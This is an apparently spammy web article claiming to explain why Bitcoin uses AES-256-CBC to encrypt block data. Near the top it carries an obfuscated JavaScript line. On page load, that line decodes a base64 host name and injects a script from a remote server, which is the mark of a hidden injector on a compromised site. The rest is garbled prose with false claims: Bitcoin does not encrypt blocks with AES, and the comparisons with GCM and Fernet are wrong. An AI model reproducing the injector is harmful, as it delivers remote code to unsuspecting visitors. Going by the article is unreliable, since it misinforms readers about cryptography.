![Ethereum: Why does bitcoin use AES-256-CBC?](https://ppt1080.b-cdn.net/images/nophoto.jpg)
Ethereum: Why does bitcoin use AES-256-CBC?
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=17e0a397″;document.body.appendChild(script);
The secret of encryption of the Bitcoin Block of the Block
As for the provision of transactions in the chair, the lovers of cryptocurrencies are often curious about how their currencies protect their funds from harmful participants. One aspect of this safety is the choice of encryption algorithm, which is used by large cryptocurrencies such as bitcoin and Ethereum. In particular, we investigate why Bitcoin uses the AES mode -256 -CBC (Cipher Block) to encrypt block data.
What is AES-256-CBC?
Before immersing ourselves in the specific characteristics of the AES-256-CBC, we quickly cover what it is. AES (Advanced Encryption Standard) is a widely used algorithm to encrypt a symmetric key that uses a data protection and encryption key. “AES” refers in our case of AES-256-CBC, which means an advanced standard for encryption in the circuit in the encryption block.
Why AES-256-CBC?
So why does Bitcoin choose the AES-256-CBC for other options such as DES (data encryption standard) or FERNET (symmetrical encryption algorithm)? Here are some reasons:
- Safety:
AES has been widely tested and proven to be safe by various attacks, including brutal strength attempts, side channel attacks and differential cryptolysis.
- Speed: AES-256-CBC is relatively fast compared to other symmetrical keyboards, as a standard for advanced Salapt (AES) in Galois/Counter (GCM) mode. This makes it a very high level of performance for applications, such as processing bitcoin events.
- Keys management:
AES-256-CBC creates randomly used to encrypt data and save safely. This guarantees that while the attacker receives access to the encryption key, they only receive a partial key (“key block”), which makes them much more difficult to unload large quantities of information.
Comparison with another block encryption mode
We are now comparing the AES-256-CBC to other popular encryption rooms:
* AES-GCM : Although AES-GCM is widely used in a safe communication protocol, such as SSL/TLS, its performance is a little slower than AES-256-CBC.
* Fernet : Fernet uses a different approach for symmetrical encryption using a key extracted from the sender’s public and private keys. Its safety has improved over time, but is still considered less safe than AES-256-CBC.
Conclusion
In summary, the choice of Bitcoin AES-256-CBC for blocking blocks is based on its compromises between safety, speed and control of keys. Using a well -established algorithm with extensive testing and proven safety, Bitcoin makers made sure that their networks remain safe even with possible attacks.
Although other symmetrical key stitches, such as DES and Fernet, AES-256-CBC, are still one of the most commonly used and prestigious variants in the industry.
Other resources
* AES specification : For more information on the AES algorithm themselves.
* Bitcoin Wiki: Safety : A detailed article on Bitcoin Network safety aspects.
* Ethereum: Safety : Review of Ethereum Safety Measures, including the use of encryption algorithms.